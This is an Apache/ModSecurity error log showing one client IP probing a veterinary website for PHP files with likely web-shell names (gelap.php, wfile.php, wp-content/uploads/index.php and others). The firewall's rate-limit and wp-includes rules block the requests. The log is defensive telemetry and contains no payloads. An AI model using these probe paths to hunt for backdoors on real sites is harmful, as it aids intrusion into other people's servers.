[Fri Jan 02 20:37:42.238042 2026] [:error] [pid 29316:tid 29323] [client 4.189.161.129:17413] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aVe8FtfT9ty-7jZmgf-pNAAAAQU"]
[Fri Jan 02 20:37:42.544947 2026] [:error] [pid 63208:tid 63229] [client 4.189.161.129:60648] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aVe8FnKLI9INGPLzfndDngAAANI"]
[Fri Jan 02 20:37:42.902137 2026] [:error] [pid 63208:tid 63230] [client 4.189.161.129:17457] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aVe8FnKLI9INGPLzfndDnwAAANM"]
[Fri Jan 02 20:37:43.383124 2026] [:error] [pid 29316:tid 29334] [client 4.189.161.129:46900] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aVe8F9fT9ty-7jZmgf-pNwAAARA"]
[Fri Jan 02 20:37:43.794941 2026] [:error] [pid 63208:tid 63220] [client 4.189.161.129:57789] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aVe8F3KLI9INGPLzfndDoQAAAMk"]
[Fri Jan 02 20:37:44.149481 2026] [:error] [pid 63100:tid 63173] [client 4.189.161.129:57770] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aVe8GDuUXUKd3KTnKl9KTgAAAIw"]
[Fri Jan 02 20:37:44.641599 2026] [:error] [pid 29316:tid 29319] [client 4.189.161.129:13938] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aVe8GNfT9ty-7jZmgf-pOwAAAQE"]
[Fri Jan 02 20:37:44.960881 2026] [:error] [pid 29316:tid 29341] [client 4.189.161.129:45589] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aVe8GNfT9ty-7jZmgf-pPgAAARc"]
[Fri Jan 02 20:37:45.313281 2026] [:error] [pid 29316:tid 29336] [client 4.189.161.129:60636] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "aVe8GdfT9ty-7jZmgf-pQQAAARI"]
[Fri Jan 02 20:37:45.828266 2026] [:error] [pid 63100:tid 63164] [client 4.189.161.129:46904] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "aVe8GTuUXUKd3KTnKl9KUQAAAIM"]
[Fri Jan 02 20:37:46.173604 2026] [:error] [pid 63100:tid 63165] [client 4.189.161.129:46873] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "aVe8GjuUXUKd3KTnKl9KUgAAAIQ"]
[Fri Jan 02 20:37:46.757154 2026] [:error] [pid 29316:tid 29323] [client 4.189.161.129:46902] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "aVe8GtfT9ty-7jZmgf-pSAAAAQU"]
[Fri Jan 02 20:37:47.148164 2026] [:error] [pid 63099:tid 63152] [client 4.189.161.129:60669] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aVe8G8mCZokRPYUhzvi47wAAAFI"]
[Fri Jan 02 20:37:47.413060 2026] [:error] [pid 63099:tid 63157] [client 4.189.161.129:45581] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aVe8G8mCZokRPYUhzvi48QAAAFc"]
[Fri Jan 02 20:37:47.703886 2026] [:error] [pid 63099:tid 63148] [client 4.189.161.129:46911] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aVe8G8mCZokRPYUhzvi49AAAAE4"]
[Fri Jan 02 20:37:48.060060 2026] [:error] [pid 63208:tid 63218] [client 4.189.161.129:17471] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aVe8HHKLI9INGPLzfndDpQAAAMc"]
[Fri Jan 02 20:37:48.397982 2026] [:error] [pid 63100:tid 63179] [client 4.189.161.129:13911] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVe8HDuUXUKd3KTnKl9KVgAAAJI"]
[Fri Jan 02 20:37:48.736761 2026] [:error] [pid 50186:tid 50211] [client 4.189.161.129:45587] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVe8HFXqK_iX4f-S70JwFgAAAZc"]
[Fri Jan 02 20:37:49.190476 2026] [:error] [pid 63098:tid 63125] [client 4.189.161.129:45613] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVe8Hcez9k78gUs48kpWFwAAABI"]
[Fri Jan 02 20:37:49.511011 2026] [:error] [pid 63100:tid 63169] [client 4.189.161.129:17441] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVe8HTuUXUKd3KTnKl9KWwAAAIg"]
[Fri Jan 02 20:37:49.842407 2026] [:error] [pid 63099:tid 63147] [client 4.189.161.129:45619] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/noe.php"] [unique_id "aVe8HcmCZokRPYUhzvi49gAAAE0"]
[Fri Jan 02 20:37:50.172684 2026] [:error] [pid 63099:tid 63151] [client 4.189.161.129:17450] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/noe.php"] [unique_id "aVe8HsmCZokRPYUhzvi49wAAAFE"]
[Fri Jan 02 20:37:50.505286 2026] [:error] [pid 63208:tid 63213] [client 4.189.161.129:60630] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/noe.php"] [unique_id "aVe8HnKLI9INGPLzfndDqQAAAMI"]
[Fri Jan 02 20:37:50.885058 2026] [:error] [pid 63208:tid 63222] [client 4.189.161.129:45596] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/noe.php"] [unique_id "aVe8HnKLI9INGPLzfndDqgAAAMs"]
[Fri Jan 02 20:37:51.278714 2026] [:error] [pid 63100:tid 63180] [client 4.189.161.129:60642] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aVe8HzuUXUKd3KTnKl9KZAAAAJM"]
[Fri Jan 02 20:37:51.698028 2026] [:error] [pid 63100:tid 63183] [client 4.189.161.129:60644] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aVe8HzuUXUKd3KTnKl9KZwAAAJY"]
[Fri Jan 02 20:37:52.108216 2026] [:error] [pid 29316:tid 29329] [client 4.189.161.129:46882] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aVe8INfT9ty-7jZmgf-pUAAAAQs"]
[Fri Jan 02 20:37:52.410454 2026] [:error] [pid 29316:tid 29337] [client 4.189.161.129:57760] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aVe8INfT9ty-7jZmgf-pUQAAARM"]
[Fri Jan 02 20:37:52.706310 2026] [:error] [pid 50186:tid 50192] [client 4.189.161.129:60612] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aVe8IFXqK_iX4f-S70JwHgAAAYQ"]
[Fri Jan 02 20:37:53.311559 2026] [:error] [pid 50186:tid 50197] [client 4.189.161.129:60624] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aVe8IVXqK_iX4f-S70JwHwAAAYk"]
[Fri Jan 02 20:37:53.778534 2026] [:error] [pid 63100:tid 63176] [client 4.189.161.129:60645] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aVe8ITuUXUKd3KTnKl9KbwAAAI8"]
[Fri Jan 02 20:37:54.098657 2026] [:error] [pid 63100:tid 63173] [client 4.189.161.129:46892] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aVe8IjuUXUKd3KTnKl9KcQAAAIw"]
[Fri Jan 02 20:37:56.873710 2026] [:error] [pid 50046:tid 50065] [client 4.189.161.129:60621] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aVe8JCzv7fgIiwkQYNCqVAAAAVE"]
[Fri Jan 02 20:37:57.330268 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:60622] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aVe8Jcez9k78gUs48kpWHAAAAAw"]
[Fri Jan 02 20:37:57.636181 2026] [:error] [pid 63100:tid 63172] [client 4.189.161.129:57742] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aVe8JTuUXUKd3KTnKl9KfAAAAIs"]
[Fri Jan 02 20:37:57.995278 2026] [:error] [pid 43358:tid 43378] [client 4.189.161.129:17458] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aVe8JQncbHK9auzvrA9SdAAAAdI"]
[Fri Jan 02 20:37:58.264683 2026] [:error] [pid 50186:tid 50188] [client 4.189.161.129:13912] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aVe8JlXqK_iX4f-S70JwIQAAAYA"]
[Fri Jan 02 20:37:58.737703 2026] [:error] [pid 29316:tid 29326] [client 4.189.161.129:57754] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aVe8JtfT9ty-7jZmgf-pVAAAAQg"]
[Fri Jan 02 20:37:59.096215 2026] [:error] [pid 63100:tid 63173] [client 4.189.161.129:60666] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aVe8JzuUXUKd3KTnKl9KgwAAAIw"]
[Fri Jan 02 20:37:59.473836 2026] [:error] [pid 63098:tid 63131] [client 4.189.161.129:45570] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "aVe8J8ez9k78gUs48kpWIgAAABg"]
[Fri Jan 02 20:37:59.813648 2026] [:error] [pid 63098:tid 63123] [client 4.189.161.129:45622] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aVe8J8ez9k78gUs48kpWJAAAABA"]
[Fri Jan 02 20:38:00.154960 2026] [:error] [pid 43358:tid 43372] [client 4.189.161.129:45625] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aVe8KAncbHK9auzvrA9SdwAAAcw"]
[Fri Jan 02 20:38:00.517799 2026] [:error] [pid 50186:tid 50205] [client 4.189.161.129:57759] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aVe8KFXqK_iX4f-S70JwIwAAAZE"]
[Fri Jan 02 20:38:00.898489 2026] [:error] [pid 63098:tid 63130] [client 4.189.161.129:57738] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/flower.php"] [unique_id "aVe8KMez9k78gUs48kpWJgAAABc"]
[Fri Jan 02 20:38:01.224715 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:46908] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aVe8Kcez9k78gUs48kpWKAAAAA4"]
[Fri Jan 02 20:38:01.860211 2026] [:error] [pid 50186:tid 50196] [client 4.189.161.129:57744] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aVe8KVXqK_iX4f-S70JwJQAAAYg"]
[Fri Jan 02 20:38:02.342014 2026] [:error] [pid 50046:tid 50064] [client 4.189.161.129:45595] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aVe8Kizv7fgIiwkQYNCqWgAAAVA"]
[Fri Jan 02 20:38:02.683813 2026] [:error] [pid 29316:tid 29320] [client 4.189.161.129:17423] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aVe8KtfT9ty-7jZmgf-pWAAAAQI"]
[Fri Jan 02 20:38:03.155352 2026] [:error] [pid 29316:tid 29322] [client 4.189.161.129:46870] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aVe8K9fT9ty-7jZmgf-pWwAAAQQ"]
[Fri Jan 02 20:38:03.777233 2026] [:error] [pid 63098:tid 63124] [client 4.189.161.129:13943] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aVe8K8ez9k78gUs48kpWLwAAABE"]
[Fri Jan 02 20:38:21.865448 2026] [:error] [pid 63100:tid 63173] [client 4.189.161.129:17465] [client 4.189.161.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVe8PTuUXUKd3KTnKl9KnQAAAIw"]
[Fri Jan 02 20:38:42.562161 2026] [proxy_fcgi:error] [pid 50186:tid 50202] [client 4.189.161.129:46887] AH01071: Got error 'Primary script unknown'
[Fri Jan 02 20:38:58.233759 2026] [:error] [pid 50186:tid 50207] [client 4.189.161.129:46887] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aVe8YlXqK_iX4f-S70JwYAAAAZM"]
[Fri Jan 02 20:38:58.520462 2026] [:error] [pid 63099:tid 63157] [client 4.189.161.129:60631] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aVe8YsmCZokRPYUhzvi5LQAAAFc"]
[Fri Jan 02 20:38:58.907048 2026] [:error] [pid 50046:tid 50059] [client 4.189.161.129:17438] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aVe8Yizv7fgIiwkQYNCq5gAAAUs"]
[Fri Jan 02 20:38:59.186562 2026] [:error] [pid 63098:tid 63114] [client 4.189.161.129:17455] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aVe8Y8ez9k78gUs48kpWcAAAAAc"]
[Fri Jan 02 20:38:59.583449 2026] [:error] [pid 29316:tid 29340] [client 4.189.161.129:60617] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aVe8Y9fT9ty-7jZmgf-pgwAAARY"]
